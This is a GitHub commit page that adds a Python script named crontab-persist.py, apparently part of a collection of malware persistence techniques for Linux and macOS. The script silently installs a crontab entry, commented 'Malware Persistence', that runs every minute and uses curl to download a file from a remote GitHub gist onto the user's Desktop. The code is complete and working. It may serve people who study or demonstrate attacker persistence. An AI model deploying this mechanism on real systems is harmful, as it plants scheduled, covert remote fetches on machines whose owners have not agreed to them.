Skip to content

Commit

Permalink
Add crontab persistence
Browse files Browse the repository at this point in the history
  • Loading branch information
alichtman committed May 2, 2019
1 parent d4a027f commit 8b6633a
Showing 1 changed file with 49 additions and 0 deletions.
49 changes: 49 additions & 0 deletions src/persistence/cross-platform/crontab-persist.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
# This technique obtains persistence by adding a command to the crontab file,
# which will be run however often is specified in the crontab entry.

# Tested on macOS 10.14.4.

import os
import tempfile
import sys
sys.path.insert(0, "../..")
from utils.print import *
from utils.utils import get_os_name

###
# Set up global variables
###

os_name = get_os_name()
if os_name == "linux":
comment = "Linux Malware Persistence"
elif os_name == "darwin":
comment = "macOS Malware Persistence"
else:
print_red("ERROR: Unknown OS.")
sys.exit(1)

command = "curl -o ~/Desktop/pwn_notification https://gist.githubusercontent.com/alichtman/02552dea8d9dc509942d57b77112f008/raw/"
timing = "* * * * *"


def main():
print_blue("Obtaining persistence through crontab...")
# Create tempfile
fd, path = tempfile.mkstemp()
try:
# Write command into temp file
with os.fdopen(fd, 'w') as tmp:
tmp.write("{} {} # {}\n".format(timing, command, comment))

# Read this file into crontab
os.system("crontab {}".format(path))
except Exception as e:
print_red("ERROR: {}".format(e))
finally:
os.remove(path)
print_green("Success!")


if __name__ == "__main__":
main()

0 comments on commit 8b6633a

Please sign in to comment.